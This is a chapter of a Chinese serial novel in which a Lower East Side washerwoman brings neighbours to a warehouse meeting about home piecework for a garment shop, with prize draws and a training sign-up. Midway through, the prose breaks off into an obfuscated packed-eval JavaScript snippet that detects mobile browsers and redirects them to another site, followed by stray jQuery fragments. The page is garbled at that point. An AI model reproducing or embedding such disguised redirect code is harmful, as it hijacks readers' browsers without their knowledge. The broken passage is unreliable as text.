大安妮把最后一件浆洗好的衬衫用力抖开。她踮起脚，将衬衫挂在横贯屋角的粗麻绳上。做完这一切，她用围裙擦了擦手，看着屋里挂得满满当当的衣物，心里盘算着今天能挣几个子儿。


    「娘！」吉米像颗炮弹似的冲进屋，差点带倒了门边的水桶，「快些！说明会要开始了！」


    「慌什么！」她嘴上这样说，手却不由自主地摸了摸脑后盘得紧紧的发髻，确保没有一丝乱发。「你先去卖报纸，不用陪我去！」


    「报纸我都领到了，就顺道回来提醒你一声！」吉米拍了拍布袋，然后又往外面冲，「你别迟到了啊！」


    吉米生来就机灵，她有时候感到骄傲有时候又觉得这不是什么好事儿，脑袋聪明就会想得多，想得多以后得不到就会拥有更多痛苦。每每看到吉米学着大人的模样，操着大人的心，她心理就忍不住一阵烦躁。


    她换上了一件领口没有补丁的深色棉布裙，这是她最好的一件出门衣服。临走前，她又跑到公共盥洗室照了照那块挂在墙上的小镜子。


    她按照事先说好的，走到下东区挨着东河边缘的公共水泵房，已经有二十几个身影等在那里了。


    人群里有认识的也有陌生的。


    红头发的唐娜正手忙脚乱地给最小的孩子擦鼻涕，另外两个稍大的男孩在她身边打闹。她明明说过不参加的，不知道为什么也来了，还找到了集合地点。凯莉和她的三个女儿安静地站在一旁，女孩们洗得发白的裙子虽然打着补丁，但看得出是精心缝补过的。赫梅尔也到了，和她的邻居一起，手挽着手轻声交谈着什么。


    凯莉第一个看到大安妮过来。「安妮，你可来了！咱们这就过去？」


    唐纳也朝她讨好似地一笑：「安妮，我们都等你拿主意呢。」却并没有解释为什么自己也来了，还拖着这么多小孩。


    大安妮看着这二十几个因她而聚在一起的妇人，心里觉得胀胀的。她只粗声应了句：「走。」便带头迈开了步子。平时她给人送洗干净的衣服，主顾能给个笑脸就算不错了，哪曾像现在这样被人等着、盼着，仿佛她真是个能拿主意的人。她不由自主地挺直了腰板，走在众人的最前面。


    /


    米芙回到家的那个夜晚。


    母亲坐在床边，温柔的手轻抚过她的脸颊。


    「大家都答应帮你去找人了，」母亲的声音格外温柔，「你为什么还愁眉不展？」


    米芙翻了个身，面对母亲。「人找到了，说明会的地点却还没着落。」她叹了口气，「埃莉诺昨晚试着向玛蒂尔达夫人开口，借用百老汇那座空置的房子，被直接拒绝了。」


    「明明之前借给我们面试女销售和裁缝，夫人都很痛快。甚至同意将女仆起居室改作宿舍。可一听我们要开说明会，可能要来几十个女工，就怎么也不肯答应了。我们一下子全乱了阵脚。今天我出门前，埃莉诺和安妮也急匆匆出去找地方了，盼着能在日子前租到个便宜点的场地……母亲，你说，夫人为什么会拒绝。」


    母亲只是在烛光中眨了眨眼睛，没有追问玛蒂尔达夫人拒绝的细节，也没有评价那位贵妇人的决定。她只是沉默了片刻，才平稳地开口：「玛蒂尔达夫人自有她的道理。眼下最要紧的，是把场地定下来。」


    「我们组织里，有一位成员，今天临时有事没来。她的家族经营着东河那条跨海峡的运输线，在两岸都有仓库。明天洗礼仪式结束后，我找她问问。有没有空置的仓库，或许能借用一个临河的旧仓房。」


    「母亲，您……」


    「睡吧，」母亲的手轻轻拍了拍她，止住了她后面的话，「明天还有洗礼。」


    /


    说明会的场地在靠近东河岸边的旧仓库区，隔着狭窄的海峡，对面就是布鲁克林。大安妮对这条路很熟，之前去那边送过浆洗好的衣服。


    仓库门开着，等她们到时，里面已经聚了二三十来个女人，嗡嗡的说话声在空旷的梁柱间回响。大安妮一眼就看到了站在前面的那位黑人小姐，米芙，她正和另一位穿着朴素的年轻小姐低声说着什么。


    她多看了米芙小姐几眼。她活这么大，跟黑人打交道的次数一只手都数得过来。印象里她们不是在给人帮佣，就是在街边卖些小东西，总之是比她们这些白人穷鬼更不体面的。要不是前几天吉米把人带回家，她是永远不可能跟黑人深度接触的。她想起那天带着这位小姐在下东区挨家敲门时的情形，米芙小姐虽然年轻，说话却有条有理，被拒绝了也不恼，那份沉得住气的劲儿，跟她想象中愚蠢的黑人完全不同。


    现在再看到米芙小姐，她自然对米芙小姐多了几分亲近。在她眼里，这黑人小姐除了皮肤颜色深一点，哪里都好。瞧，说话举止，跟旁边那位白人小姐站在一起，一样的大方得体。哟，瞧，米芙小姐也看见她了，还冲自个儿挥手来着。


    来的人自动分成了几拨，界限分明得像用牵狗绳牵引开似的。


    大安妮这群由她带来的、住在下东区边缘地带的妇人们进门后很自然地分开了。


    靠右边墙根聚着五六个爱尔兰妇人，大多是红头发，穿着最破旧，说话带着浓重的口音。她们人数最少，聚在一处小声交谈，时不时警惕地四下张望。


    中间几排长凳上坐着七八来个从美国乡下来纽约谋生的妇人，打扮比爱尔兰人齐整些，说话带着中西部口音。她们坐得挺直，互相之间保持着适当的距离。大安妮很自然地坐过去。


    最惹眼的是左边那一大群黑人妇女，少说也有十五六个，人数最多。她们说话声音清亮，时不时爆发出爽朗的笑声，在这仓库里显得格外有生气。大安妮听吉米说过，米芙小姐家里在布鲁克林黑人社区是体面人家，这些人大约都是米芙小姐发动亲友邻里召集来的。


    坐下后，大安妮好奇地张望起来。


    仓库有些破旧，墙皮斑驳，但地上洒了水，扫得干干净净。前面则放着一张旧桌子，桌旁立着一块用木架支起的黑色板子，旁边还放着几根白色的、像石头似的小棍子。大安妮认得那叫黑板，是吉米常扒在学堂窗口偷看的玩意儿。


    「大家都找个位置坐下吧。」米芙小姐开口了，她的声音清亮，压过了仓库里的嘈杂。


    还有几个带孩子来的妇人没有坐，此刻推推搡搡地坐下，孩子们被母亲紧紧搂在身边，一双双眼睛都盯着前面。


    站在米芙身旁那位脸上带了点雀斑的小姐上前一步，脸上带着温和的笑容开口道：「各位女士，我是安妮，是成衣店股东埃莉诺小姐的事务助理。她临时有事，由我来主持。今天请大家来，是要说说我们往后怎么一起干活挣钱的事。」


    她话音刚落，唐娜就按捺不住，抱着孩子挤到前面，声音带着急切：「米芙小姐！安妮小姐！那抽奖的事儿到底作不作数？别是哄我们白跑一趟吧？」她怀里的孩子被吓得一哆嗦，哇哇哭了起来。


    大安妮坐在第一排，脸上火辣辣的。这唐娜是她带来的，现在这般没规矩，让她觉得丢人。她张了张嘴，最后还是把话咽了回去，只把屁股往边上挪了挪。


    安妮小姐脸上还是挂着笑，声音稳稳的：「作数的。大家进来时，是不是都摸了一个写了数字的纸片？」她指了指桌角一个纸箱，「我们待会儿前、中、后会抽三次奖，每次抽一个号码，谁手里的数字对上，就能立刻把羊毛围巾领走。」


    「那我家娃娃也算一个不？」唐娜急吼吼地打断，「能多摸个号不？」她一边说一边颠着怀里哭闹的孩子。


    「我们只按大人来算。我们就先抽第一轮！」安妮小姐语气温和，却坚定地否决了唐娜的提议。


    唐娜这才撇撇嘴，抱着孩子退回座位，嘴里还嘟囔着「少摸一个就少份运气」。


    在安妮的示意下，米芙站到装满数字纸片的纸箱前。仓库里瞬间安静下来，只听得见外面隐约的海浪拍岸声和几个孩子擤鼻涕的响声。所有人目光都黏在米芙那只缓缓伸入箱口的手上。她的手在纸片间搅动了几下，发出窸窸窣窣的轻响，每一声都挠在人心尖上。


    米芙的手指终于夹住一张纸条，慢慢抽了出来。她展开纸条，目光在上面停顿了一下，仿佛要确认那个决定幸运的数字，然后才抬起头，清晰地向众人宣布：


    「九号。谁是九号？」


    人群里响起一阵急促的翻找声和低语。大安妮也认真看了看自己那张写着十五的纸条。自己跟米芙小姐认识，如果提前说好，多放几张写有十五的纸条进去，哎呀，多好！反正给谁不是给！她暗叹自己脑瓜不灵。


    就在她旁边，一个带着些许难以置信的声音传来。


    「是我！」


    她侧头望去，只见赫梅尔站了起来，脸上泛着红光，手里挥着纸条。


    「哎呀！是赫梅尔！」有人惊呼。


    唐娜的眼睛瞬间瞪圆了，看了看手上纸条，又扭头去看桌上那三条叠得整整齐齐的、颜色鲜亮的羊毛围巾，喉咙里发出咕噜一声。没事儿，还有两条。


    赫梅尔在众人或羡慕或祝贺的目光中，有些拘谨又难掩喜悦地走到前面。米芙核对好纸条上的数字号，微笑着将那条厚实柔软的羊毛围巾递到她手中。


    「快披上试试，赫梅尔！」台下有相熟的妇人喊道。


    赫梅尔腼腆地笑了笑，却真的立刻就将围巾展开，围在了自己的衣领外。那温暖的羊毛瞬间包裹住她，衬得她的脸庞都亮了几分


    这实实在在的奖品，这近在眼前的幸运，让所有人的屁股都在椅子上死死黏住了。


    等场面安静下来，安妮小姐开始讲解成衣店的运作。大安妮竖起耳朵听着。


    「我们知道，大家要照顾家里，脱不开身。我们这活儿，大部分可以在家里做！」


    大安妮点着头，这也是她来的原因。毕竟手头上洗衣服的伙计还不能丢。


    「我们会把一件『连衣裙』拆成好几道工序。」安妮小姐指着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16753076|184715||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    黑板上画好的连衣裙，和领子，袖子等拆解的图样。「有人专缝袖子，有人专上领子，每做好一样，我们就按件算钱。」


    大安妮愣住了。在她几十年的人生里，一件衣服就是一个整体，从裁到缝都得是一个人经手，这才是「做活儿」的规矩。一件衣服拆得七零八碎，还能叫一件衣服吗？她活了大半辈子，从没想过「做衣服」这件事本身，还能被拆开。


    盯着被拆解的裙子图样，她心里突然冒出个念头：这裙子如果做起来真这么简单方便，干脆叫「方便裙」算了。


    安妮在介绍的时候。米芙小姐同时在黑板上写字。


    「啧啧，」旁边立刻响起了窃窃私语，「这黑人不止会看，还会写哩！」


    大安妮撇了她们一眼，用一种听不得人大惊小怪的口气说道：人家可有文化，是贵妇人的私人秘书。可她自己也差点忘了，吉米以前跟她提起这位米芙小姐，说她认得字，还会算账时。她一直只当孩子瞎说，打心眼里觉得，黑皮子的人能有多大能耐？


    等写完了，安妮小姐指着那堆单词和数字，说：「做工的价格是透明的，多劳多得。上一个袖子，两分钱；缝一个领子，三分钱；锁一件裙子的边，一分钱。」


    大安妮盯着黑板，心里琢磨开了。可以找个最容易上手的部件学着做。她搓了搓指节宽大的手，最重要的是，冬天能在屋里干活，不用顶风冒雪出去揽活儿了。屋里再冷，总比在外头强。她仿佛已经看见自己坐在炉边，就着火光缝袖子的样子。


    「做完的活儿我们定期回收，暂定一周收一次，检查合格就当场结钱，绝不拖欠。」


    周结，甚至可能是交活就结！女人们交头接耳，脸上大多露出了心动的神色。大安妮心里也踏实了几分，如果真能实现，这比浆洗衣服时某些主顾拖拖拉拉，一个季度都没结算爽快多了。


    会议按部就班地进行，中间又抽了一次奖，气氛愈发火热。快到结束时，安妮小姐拍了拍手，将大家的注意力吸引过来。


    「女士们，」她声音清晰地说，「想要接咱们成衣店活计的，接下来需要参加一个培训。」


    她目光扫了一圈，确保每个人都在听。


    「培训还在这个仓库，连续三天，每天只占大家两个小时。下午两点到四点，不耽误大家准备午餐和晚餐。」


    下面有妇人小声议论起来，似乎在权衡时间。


    安妮提高了些声音：「只要保证能来两天，就算完成了。我们会做个简单的登记。」她指了指旁边桌上新铺开的一张纸和墨水笔。


    「培训做什么呢？」有个胆大的妇人扬声问。


    「就是教大家怎么统一地缝袖子、上领子。」安妮耐心解释，「我们会提供针线和练习的布头，大家亲手做做看。很简单，只要想学就能学会。」


    「那……培训完了呢？」又有人问。


    「培训满两天，并且手艺达到我们裁缝师傅要求的女士，就可以正式从我们这里领取布料和针线工具，带回家去做了。第一次领料，不需要任何押金。」


    不需要押金？大安妮简直不敢相信自己的耳朵。她给人浆洗衣服这么多年，哪次不是自己带皂角、自己准备搓衣板？有时候遇到不好说话的犹太家庭，还要求交押金，生怕她把衣服洗坏了。不说自己，下东区的人出去找活儿哪个没遭过白眼，穷人就代表着不可信，找活儿干哪次不是求爷爷告奶奶，押金、保证金名目繁多？东家防工人像防贼一样。这安妮小姐，怎么敢这么相信她们这些陌生人？


    再看看周围人的神情，这话确实让不少人彻底安心了。不需要先交钱，还能免费学手艺，这样的机会实在难得。大安妮就听到赫梅尔和她一起来的邻居，在那里小声议论：两个小时不算长，挤一挤总能腾出空来。


    紧接着，进行了最后一次抽奖。所有妇人都紧紧攥着自己的号码纸，连呼吸都放轻了。大安妮捏紧了小纸片，心里默默念着上面的数字。


    米芙小姐把手伸进木箱，摸出一张纸条，朗声念道：「十七号！」


    「是我！是我！」一个坐在后排的年轻黑人姑娘猛地站起来，高兴得直跺脚，她挥舞着手中的纸条，脸上绽放出巨大的笑容。周围同样来自布鲁克林黑人社区的女人立刻围了上去，抱着她又笑又跳，甚至即兴哼唱起一段轻快的小调，为她庆祝。整个仓库都充满了她们由衷的欢笑声。


    只有唐娜，带着孩子，一个招呼没打，就走了。


    大安妮没去理她。虽然心里也有点遗憾：厚实的羊毛围巾，终究与自己无缘了。但这点失落，很快就被一种更强烈的情绪覆盖了。


    她望着前方耐心解答众人问题的安妮小姐，又看了看旁边低头整理报名名单的米芙小姐。这两位小姐做事认真，待人又实在。她心里忽然透进一道光，要是吉米将来能一直跟着他们做事，那孩子的机灵劲儿才有了合适去处……自己必须得表现好一点，跟她们亲近一些才行！